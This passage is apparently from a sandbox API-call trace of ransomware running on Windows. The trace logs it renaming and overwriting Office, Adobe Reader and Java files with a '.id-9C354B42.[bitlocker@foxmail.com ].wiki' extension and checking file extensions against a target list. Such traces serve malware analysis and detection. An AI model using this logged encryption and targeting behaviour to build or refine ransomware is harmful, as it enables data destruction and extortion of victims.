office\\office14\\oart.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0160.754] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFOWC.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\offowc.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OIMG.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\oimg.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.386] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrord32.dll"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrord32.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.394] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGM.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agm.dll"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AGM.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\agm.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.565] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.119] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.159] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.162] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.csd"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.csd.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.163] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.tts"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.tts.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.164] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.unt"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.unt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.164] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.wih"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.wih.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.834] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jfxwebkit.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jfxwebkit.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jfxwebkit.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.861] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.875] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0172.163] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=17420288) returned 1 [0172.163] CloseHandle (hObject=0x320) returned 1 [0172.163] GetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp")) returned 0x20 [0172.163] GetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.164] MoveFileW (lpExistingFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0172.164] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.165] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc6c | out: lpNewFilePointer=0x0) returned 1 [0172.165] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc2c | out: lpNewFilePointer=0x0) returned 1 [0172.165] ReadFile (in: hFile=0x320, lpBuffer=0x4150058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc38, lpOverlapped=0x0 | out: lpBuffer=0x4150058*, lpNumberOfBytesRead=0x379fc38*=0x40000, lpOverlapped=0x0) returned 1 [0172.288] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x589aaa, lpNewFilePointer=0x0, dwMoveMethod=0x379fc2c | out: lpNewFilePointer=0x0) returned 1 [0172.288] ReadFile (in: hFile=0x320, lpBuffer=0x4190058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc38, lpOverlapped=0x0 | out: lpBuffer=0x4190058*, lpNumberOfBytesRead=0x379fc38*=0x40000, lpOverlapped=0x0) returned 1 [0172.389] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x379fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0172.389] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x105d000, lpNewFilePointer=0x0, dwMoveMethod=0x379fc2c | out: lpNewFilePointer=0x0) returned 1 [0172.389] ReadFile (in: hFile=0x320, lpBuffer=0x41d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc38, lpOverlapped=0x0 | out: lpBuffer=0x41d0058*, lpNumberOfBytesRead=0x379fc38*=0x40000, lpOverlapped=0x0) returned 1 [0172.500] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.500] WriteFile (in: hFile=0x320, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x379fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fcb0*=0xc011a, lpOverlapped=0x0) returned 1 [0172.713] SetEndOfFile (hFile=0x320) returned 1 [0172.713] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x40000) returned 0x4260048 [0172.713] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc7c | out: lpNewFilePointer=0x0) returned 1 [0172.713] WriteFile (in: hFile=0x320, lpBuffer=0x4260048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc88, lpOverlapped=0x0 | out: lpBuffer=0x4260048*, lpNumberOfBytesWritten=0x379fc88*=0x40000, lpOverlapped=0x0) returned 1 [0172.714] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x589aaa, lpNewFilePointer=0x0, dwMoveMethod=0x379fc7c | out: lpNewFilePointer=0x0) returned 1 [0172.714] WriteFile (in: hFile=0x320, lpBuffer=0x4260048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc88, lpOverlapped=0x0 | out: lpBuffer=0x4260048*, lpNumberOfBytesWritten=0x379fc88*=0x40000, lpOverlapped=0x0) returned 1 [0172.715] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x105d000, lpNewFilePointer=0x0, dwMoveMethod=0x379fc7c | out: lpNewFilePointer=0x0) returned 1 [0172.715] WriteFile (in: hFile=0x320, lpBuffer=0x4260048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc88, lpOverlapped=0x0 | out: lpBuffer=0x4260048*, lpNumberOfBytesWritten=0x379fc88*=0x40000, lpOverlapped=0x0) returned 1 [0172.717] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4260048 | out: hHeap=0x630000) returned 1 [0172.717] CloseHandle (hObject=0x320) returned 1 [0172.717] SetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0172.717] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.717] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.717] lstrlenW (lpString=".doc") returned 4 [0172.717] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0172.717] lstrlenW (lpString=".docx") returned 5 [0172.717] lstrcmpiW (lpString1=".docx", lpString2="I.msp") returned -1 [0172.717] lstrlenW (lpString=".pdf") returned 4 [0172.717] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0172.717] lstrlenW (lpString=".xls") returned 4 [0172.717] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0172.717] lstrlenW (lpString=".xlsx") returned 5 [0172.717] lstrcmpiW (lpString1=".xlsx", lpString2="I.msp") returned -1 [0172.718] lstrlenW (lpString=".ppt") returned 4 [0172.718] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0172.718] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.718] lstrlenW (lpString=".zip") returned 4 [0172.718] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0172.718] lstrlenW (lpString=".rar") returned 4 [0172.718] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0172.718] lstrlenW (lpString=".bz2") returned 4 [0172.718] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0172.718] lstrlenW (lpString=".7z") returned 3 [0172.718] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0172.718] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.718] lstrlenW (lpString=".dbf") returned 4 [0172.718] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0172.718] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.718] lstrlenW (lpString=".1cd") returned 4 [0172.718] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0172.718] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.718] lstrlenW (lpString=".jpg") returned 4 [0172.718] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0172.718] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.718] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.718] lstrlenW (lpString=".doc") returned 4 [0172.718] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0172.718] lstrlenW (lpString=".docx") returned 5 [0172.718] lstrcmpiW (lpString1=".docx", lpString2="I.msp") returned -1 [0172.718] lstrlenW (lpString=".pdf") returned 4 [0172.718] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0172.718] lstrlenW (lpString=".xls") returned 4 [0172.718] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0172.718] lstrlenW (lpString=".xlsx") returned 5 [0172.719] lstrcmpiW (lpString1=".xlsx", lpString2="I.msp") returned -1 [0172.719] lstrlenW (lpString=".ppt") returned 4 [0172.719] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0172.719] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.719] lstrlenW (lpString=".zip") returned 4 [0172.719] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0172.719] lstrlenW (lpString=".rar") returned 4 [0172.719] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0172.719] lstrlenW (lpString=".bz2") returned 4 [0172.719] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0172.719] lstrlenW (lpString=".7z") returned 3 [0172.719] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0172.719] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.719] lstrlenW (lpString=".dbf") returned 4 [0172.719] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0172.719] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.719] lstrlenW (lpString=".1cd") returned 4 [0172.719] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0172.719] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned 62 [0172.719] lstrlenW (lpString=".jpg") returned 4 [0172.719] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0172.719] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.719] lstrlenW (lpString="Microsoft Excel 2010.lnk") returned 24 [0172.719] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.020] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=2951) returned 1 [0173.020] CloseHandle (hObject=0x320) returned 1 [0173.020] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk")) returned 0x20 [0173.020] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.020] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.020] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.020] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.020] lstrlenW (lpString=".doc") returned 4 [0173.020] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0173.020] lstrlenW (lpString=".docx") returned 5 [0173.020] lstrcmpiW (lpString1=".docx", lpString2="0.lnk") returned -1 [0173.020] lstrlenW (lpString=".pdf") returned 4 [0173.020] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0173.021] lstrlenW (lpString=".xls") returned 4 [0173.021] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0173.021] lstrlenW (lpString=".xlsx") returned 5 [0173.021] lstrcmpiW (lpString1=".xlsx", lpString2="0.lnk") returned -1 [0173.021] lstrlenW (lpString=".ppt") returned 4 [0173.021] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0173.021] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.021] lstrlenW (lpString=".zip") returned 4 [0173.021] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0173.021] lstrlenW (lpString=".rar") returned 4 [0173.021] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0173.021] lstrlenW (lpString=".bz2") returned 4 [0173.021] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0173.021] lstrlenW (lpString=".7z") returned 3 [0173.021] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0173.021] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.021] lstrlenW (lpString=".dbf") returned 4 [0173.021] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0173.021] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.021] lstrlenW (lpString=".1cd") returned 4 [0173.021] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0173.021] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.021] lstrlenW (lpString=".jpg") returned 4 [0173.021] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0173.021] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.021] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.021] lstrlenW (lpString=".doc") returned 4 [0173.021] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0173.021] lstrlenW (lpString=".docx") returned 5 [0173.021] lstrcmpiW (lpString1=".docx", lpString2="0.lnk") returned -1 [0173.021] lstrlenW (lpString=".pdf") returned 4 [0173.022] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0173.022] lstrlenW (lpString=".xls") returned 4 [0173.022] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0173.022] lstrlenW (lpString=".xlsx") returned 5 [0173.022] lstrcmpiW (lpString1=".xlsx", lpString2="0.lnk") returned -1 [0173.022] lstrlenW (lpString=".ppt") returned 4 [0173.022] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0173.022] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.022] lstrlenW (lpString=".zip") returned 4 [0173.022] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0173.022] lstrlenW (lpString=".rar") returned 4 [0173.022] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0173.022] lstrlenW (lpString=".bz2") returned 4 [0173.022] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0173.022] lstrlenW (lpString=".7z") returned 3 [0173.022] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0173.022] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.022] lstrlenW (lpString=".dbf") returned 4 [0173.022] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0173.022] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.022] lstrlenW (lpString=".1cd") returned 4 [0173.022] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0173.022] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk") returned 94 [0173.022] lstrlenW (lpString=".jpg") returned 4 [0173.022] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0173.022] lstrcmpiW (lpString1=".hxn", lpString2=".wiki") returned -1 [0173.022] lstrlenW (lpString="MS.INFOPATH.14.1033.hxn") returned 23 [0173.023] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.463] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=344) returned 1 [0173.464] CloseHandle (hObject=0x1b4) returned 1 [0173.464] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn")) returned 0x2022 [0173.464] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft 